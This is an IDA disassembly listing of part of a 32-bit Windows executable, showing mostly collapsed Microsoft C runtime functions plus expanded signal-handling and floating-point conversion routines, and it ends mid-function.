align 10h
; [00000091 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000D BYTES: COLLAPSED FUNCTION __errno. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000D BYTES: COLLAPSED FUNCTION ___doserrno. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000B BYTES: COLLAPSED FUNCTION __toupper. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000093 BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000012B BYTES: COLLAPSED FUNCTION _toupper_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000157 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000094 BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00001328 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS KEYPAD "+" TO EXPAND]
off_42B418 dd offset loc_42A3AA ; DATA XREF: unknown_libname_11+239r
dd offset loc_42A330
dd offset loc_42A348
dd offset loc_42A38C
dd offset loc_42A335
dd offset loc_42A397
dd offset loc_42A39F
dd offset unknown_libname_12 ; Microsoft VisualC 2-8/net runtime
byte_42B438 db 0 ; DATA XREF: unknown_libname_11+233r
db 3 dup(7)
dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h)
dd 7040707h, 7050707h, 2 dup(7070707h)
db 7, 6
off_42B486 dd offset loc_42A4BB ; DATA XREF: unknown_libname_11+3C4r
dd offset loc_42A9F4
dd offset loc_42AE67
dd offset loc_42A8EB
dd offset loc_42AE52
dd offset loc_42A9F0
dd offset loc_42A501
dd offset loc_42A8F2
dd offset loc_42A526
dd offset loc_42B23A
byte_42B4AE db 0 ; DATA XREF: unknown_libname_11+3BEr
db 1
dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
dd 2 dup(0CCCCCCCCh)
; [00000058 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000051 BYTES: COLLAPSED FUNCTION __inc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001B BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000039 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001B BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000055 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000067 BYTES: COLLAPSED FUNCTION __handle_qnan2. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B2 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000CE BYTES: COLLAPSED FUNCTION __except2. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000004B1 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND]
off_42BD21 dd offset loc_42BCAC ; DATA XREF: __raise_exc+3FFr
dd offset loc_42BC9A
dd offset loc_42BC88
dd offset loc_42BC76
align 10h
; [00000372 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000009B BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003A BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003F BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000071 BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003E BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002D BYTES: COLLAPSED FUNCTION __get_exp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000033 BYTES: COLLAPSED FUNCTION __add_exp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __set_bexp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000007C BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000139 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000016 BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000017 BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000032 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000017 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000005E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000042 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000A8 BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000D7 BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002D BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000048 BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000076 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000166 BYTES: COLLAPSED FUNCTION __cftoe2. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000006A BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000013D BYTES: COLLAPSED FUNCTION __cftof2. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E5 BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000005F BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002E BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000EF BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000002A0 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B6 BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000F7 BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002C BYTES: COLLAPSED FUNCTION sub_42D480. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION unknown_libname_21. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000DD BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION sub_42D64D. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000042 BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000027B BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000086 BYTES: COLLAPSED FUNCTION _DestructExceptionObject(EHExceptionRecord *,uchar). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000046 BYTES: COLLAPSED FUNCTION ___AdjustPointer. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_22. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000006C BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp short loc_42DB34
; [00000005 BYTES: COLLAPSED FUNCTION j__abort. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001B BYTES: COLLAPSED FUNCTION unexpected(void). PRESS KEYPAD "+" TO EXPAND]
db 5Dh ; ]
db 0C3h ;
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_42DB70 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p
; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_42096Dp ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042DBE0 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D388
push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
cmp off_4542C0, 0
jz short loc_42DBCC
mov [ebp+var_4], 1
call off_4542C0 ; terminate(void)
mov [ebp+var_4], 0
jmp short loc_42DBCC
; ---------------------------------------------------------------------------
loc_42DBBC: ; DATA XREF: .rdata:0043D398o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_42DBC2: ; DATA XREF: .rdata:0043D39Co
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_42DBCC: ; CODE XREF: sub_42DB70+34j
; sub_42DB70+4Aj
mov [ebp+var_4], 0FFFFFFFFh
call j_?terminate@@YAXXZ ; terminate(void)
sub_42DB70 endp
; ---------------------------------------------------------------------------
db 0EBh ;
db 6
; [00000005 BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND]
db 0C3h ;
; START OF FUNCTION CHUNK FOR sub_42DB70
db 8Bh ;
db 4Dh ; M
db 0F0h ;
db 64h ; d
db 89h ;
db 0Dh
db 0
db 0
db 0
db 0
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 8Bh ;
db 0E5h ;
db 5Dh ; ]
db 0C3h ;
; END OF FUNCTION CHUNK FOR sub_42DB70
align 10h
; [000000EE BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000003EF BYTES: COLLAPSED FUNCTION _setlocale. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000193 BYTES: COLLAPSED FUNCTION __setlocale_set_cat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000100 BYTES: COLLAPSED FUNCTION __setlocale_get_all. PRESS KEYPAD "+" TO EXPAND]
; [00000184 BYTES: COLLAPSED FUNCTION __expandlocale. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E510 proc near ; CODE XREF: __setlocale_set_cat+12Bp
; DATA XREF: .data:off_4543D8o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42E510 endp
; ---------------------------------------------------------------------------
align 10h
; [0000004F BYTES: COLLAPSED FUNCTION __strcats. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000015D BYTES: COLLAPSED FUNCTION ___lc_strtolc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000065 BYTES: COLLAPSED FUNCTION ___lc_lctostr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B2 BYTES: COLLAPSED FUNCTION __lseek_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000062 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000029A BYTES: COLLAPSED FUNCTION __ftell_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000273 BYTES: COLLAPSED FUNCTION __write_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000305 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000050 BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND]
; [000001BE BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000059 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BC BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000149 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000D8 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000424 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000219 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000324 BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000009B BYTES: COLLAPSED FUNCTION __ioterm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000049 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000001BF BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000050 BYTES: COLLAPSED FUNCTION __GET_RTERRMSG. PRESS KEYPAD "+" TO EXPAND]
; [000000DA BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000042 BYTES: COLLAPSED FUNCTION __itoa. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000C2 BYTES: COLLAPSED FUNCTION _xtoa. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003F BYTES: COLLAPSED FUNCTION __ltoa. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001E BYTES: COLLAPSED FUNCTION __ultoa. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000048 BYTES: COLLAPSED FUNCTION __i64toa. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000F2 BYTES: COLLAPSED FUNCTION x64toa(x,x,x,x,x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __ui64toa. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
cmp dword ptr [ebp+0Ch], 4
jz short loc_430783
cmp dword ptr [ebp+0Ch], 3
jnz short loc_430788
loc_430783: ; CODE XREF: .text:0043077Bj
jmp loc_430958
; ---------------------------------------------------------------------------
loc_430788: ; CODE XREF: .text:00430781j
cmp dword ptr [ebp+8], 2
jz short loc_4307A4
cmp dword ptr [ebp+8], 15h
jz short loc_4307A4
cmp dword ptr [ebp+8], 16h
jz short loc_4307A4
cmp dword ptr [ebp+8], 0Fh
jnz loc_430881
loc_4307A4: ; CODE XREF: .text:0043078Cj
; .text:00430792j ...
push 1
call __lock
add esp, 4
cmp dword ptr [ebp+8], 2
jz short loc_4307BA
cmp dword ptr [ebp+8], 15h
jnz short loc_4307FF
loc_4307BA: ; CODE XREF: .text:004307B2j
cmp dword_4F374C, 0
jnz short loc_4307FF
push 1
push offset _ctrlevent_capture@4 ; ctrlevent_capture(x)
call ds:dword_4F53F8 ; SetConsoleCtrlHandler
cmp eax, 1
jnz short loc_4307E1
mov dword_4F374C, 1
jmp short loc_4307FF
; ---------------------------------------------------------------------------
loc_4307E1: ; CODE XREF: .text:004307D3j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov esi, eax
call ___doserrno
mov [eax], esi
push 1
call __unlock
add esp, 4
jmp loc_430958
; ---------------------------------------------------------------------------
loc_4307FF: ; CODE XREF: .text:004307B8j
; .text:004307C1j ...
mov eax, [ebp+8]
mov [ebp-10h], eax
mov ecx, [ebp-10h]
sub ecx, 2
mov [ebp-10h], ecx
cmp dword ptr [ebp-10h], 14h
ja short loc_430872
mov eax, [ebp-10h]
xor edx, edx
mov dl, ds:byte_43097F[eax]
jmp ds:off_43096B[edx*4]
loc_430826: ; DATA XREF: .text:off_43096Bo
mov ecx, dword_4F373C
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4F373C, edx
jmp short loc_430872
; ---------------------------------------------------------------------------
loc_43083A: ; CODE XREF: .text:0043081Fj
; DATA XREF: .text:00430973o
mov eax, dword_4F3740
mov [ebp-0Ch], eax
mov ecx, [ebp+0Ch]
mov dword_4F3740, ecx
jmp short loc_430872
; ---------------------------------------------------------------------------
loc_43084D: ; CODE XREF: .text:0043081Fj
; DATA XREF: .text:00430977o
mov edx, dword_4F3744
mov [ebp-0Ch], edx
mov eax, [ebp+0Ch]
mov dword_4F3744, eax
jmp short loc_430872
; ---------------------------------------------------------------------------
loc_430860: ; CODE XREF: .text:0043081Fj
; DATA XREF: .text:0043096Fo
mov ecx, dword_4F3748
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4F3748, edx
loc_430872: ; CODE XREF: .text:00430812j
; .text:0043081Fj ...
push 1
call __unlock
add esp, 4
jmp loc_430953
; ---------------------------------------------------------------------------
loc_430881: ; CODE XREF: .text:0043079Ej
cmp dword ptr [ebp+8], 8
jz short loc_430898
cmp dword ptr [ebp+8], 4
jz short loc_430898
cmp dword ptr [ebp+8], 0Bh
jz short loc_430898
jmp loc_430958
; ---------------------------------------------------------------------------
loc_430898: ; CODE XREF: .text:00430885j
; .text:0043088Bj ...
call __getptd
mov [ebp-4], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], offset dword_454418
jnz short loc_4308F5
push 133h
push offset aWinsig_c ; "winsig.c"
push 2
mov ecx, dword_454498
push ecx
call __malloc_dbg
add esp, 10h
mov edx, [ebp-4]
mov [edx+50h], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], 0
jz short loc_4308F3
mov ecx, dword_454498
push ecx
push offset dword_454418
mov edx, [ebp-4]
mov eax, [edx+50h]
push eax
call _memcpy
add esp, 0Ch
jmp short loc_4308F5
; ---------------------------------------------------------------------------
loc_4308F3: ; CODE XREF: .text:004308D4j
jmp short loc_430958
; ---------------------------------------------------------------------------
loc_4308F5: ; CODE XREF: .text:004308AAj
; .text:004308F1j
mov ecx, [ebp-4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+8]
push eax
call _siglookup
add esp, 8
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz short loc_430913
jmp short loc_430958
; ---------------------------------------------------------------------------
loc_430913: ; CODE XREF: .text:0043090Fj
mov ecx, [ebp-8]
mov edx, [ecx+8]
mov [ebp-0Ch], edx
loc_43091C: ; CODE XREF: .text:loc_430951j
mov eax, [ebp-8]
mov ecx, [eax+4]
cmp ecx, [ebp+8]
jnz short loc_430953
mov edx, [ebp-8]
mov eax, [ebp+0Ch]
mov [edx+8], eax
mov ecx, [ebp-8]
add ecx, 0Ch
mov [ebp-8], ecx
mov edx, dword_45449C
imul edx, 0Ch
mov eax, [ebp-4]
mov ecx, [eax+50h]
add ecx, edx
cmp [ebp-8], ecx
jb short loc_430951
jmp short loc_430953
; ---------------------------------------------------------------------------
loc_430951: ; CODE XREF: .text:0043094Dj
jmp short loc_43091C
; ---------------------------------------------------------------------------
loc_430953: ; CODE XREF: .text:0043087Cj
; .text:00430925j ...
mov eax, [ebp-0Ch]
jmp short loc_430966
; ---------------------------------------------------------------------------
loc_430958: ; CODE XREF: .text:loc_430783j
; .text:004307FAj ...
call __errno
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
loc_430966: ; CODE XREF: .text:00430956j
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
off_43096B dd offset loc_430826 ; DATA XREF: .text:0043081Fr
dd offset loc_430860
dd offset loc_43083A
dd offset loc_43084D
dd offset loc_430872
byte_43097F db 0 ; DATA XREF: .text:00430819r
dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh)
; [00000092 BYTES: COLLAPSED FUNCTION ctrlevent_capture(x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000020A BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
off_430C4A dd offset loc_430A78 ; DATA XREF: _raise+31r
dd offset loc_430AE3
dd offset loc_430AC9
dd offset loc_430A95
dd offset loc_430AAF
dd offset loc_430B0E
byte_430C62 db 0 ; DATA XREF: _raise+2Br
db 5
dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
dd 2 dup(0CCCCCCCCh)
; [0000005B BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_24. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000D BYTES: COLLAPSED FUNCTION ___pxcptinfoptrs. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BB BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000001E2 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000D8 BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000066 BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000104 BYTES: COLLAPSED FUNCTION __open_osfhandle. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000086 BYTES: COLLAPSED FUNCTION __lock_fhandle. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000026 BYTES: COLLAPSED FUNCTION __unlock_fhandle. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000D2 BYTES: COLLAPSED FUNCTION unknown_libname_25. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000001BC BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000C7 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003F BYTES: COLLAPSED FUNCTION __open. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000050E BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND]
off_431C4E dd offset loc_43182E ; DATA XREF: __sopen+E7r
dd offset loc_431837
dd offset loc_431840
dd offset loc_431849
dd offset loc_431852
byte_431C62 db 0 ; DATA XREF: __sopen+E1r
db 4
dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h
dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh)
; [00000032 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000077 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000A0 BYTES: COLLAPSED FUNCTION __wctomb_lk. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000015E BYTES: COLLAPSED FUNCTION __mbtowc_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000066 BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000013E BYTES: COLLAPSED FUNCTION _ungetc_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4321B0 proc near ; CODE XREF: __umatherr+5Ap
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_4321B0 endp
; ---------------------------------------------------------------------------
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __statusfp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __clearfp. PRESS KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001A BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000058 BYTES: COLLAPSED FUNCTION __fpreset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000179 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000015A BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000A7 BYTES: COLLAPSED FUNCTION __abstract_sw. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000084 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000A8 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000DB BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004C BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000037 BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000EC BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000242 BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432C80 proc near ; CODE XREF: sub_432D80+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_454568
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call __ld12cvt
add esp, 0Ch
pop ebp
retn
sub_432C80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432CA0 proc near ; CODE XREF: sub_432E00+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_454580
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call __ld12cvt
add esp, 0Ch
pop ebp
retn
sub_432CA0 endp
; ---------------------------------------------------------------------------
align 10h
; [000000BF BYTES: COLLAPSED FUNCTION __ld12told. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432D80 proc near ; CODE XREF: __fassign+14p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call ___strgtold12
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_432C80
add esp, 8
mov esp, ebp
pop ebp
retn
sub_432D80 endp
; ---------------------------------------------------------------------------
align 10h
; [00000036 BYTES: COLLAPSED FUNCTION __atoldbl. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432E00 proc near ; CODE XREF: __fassign+34p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
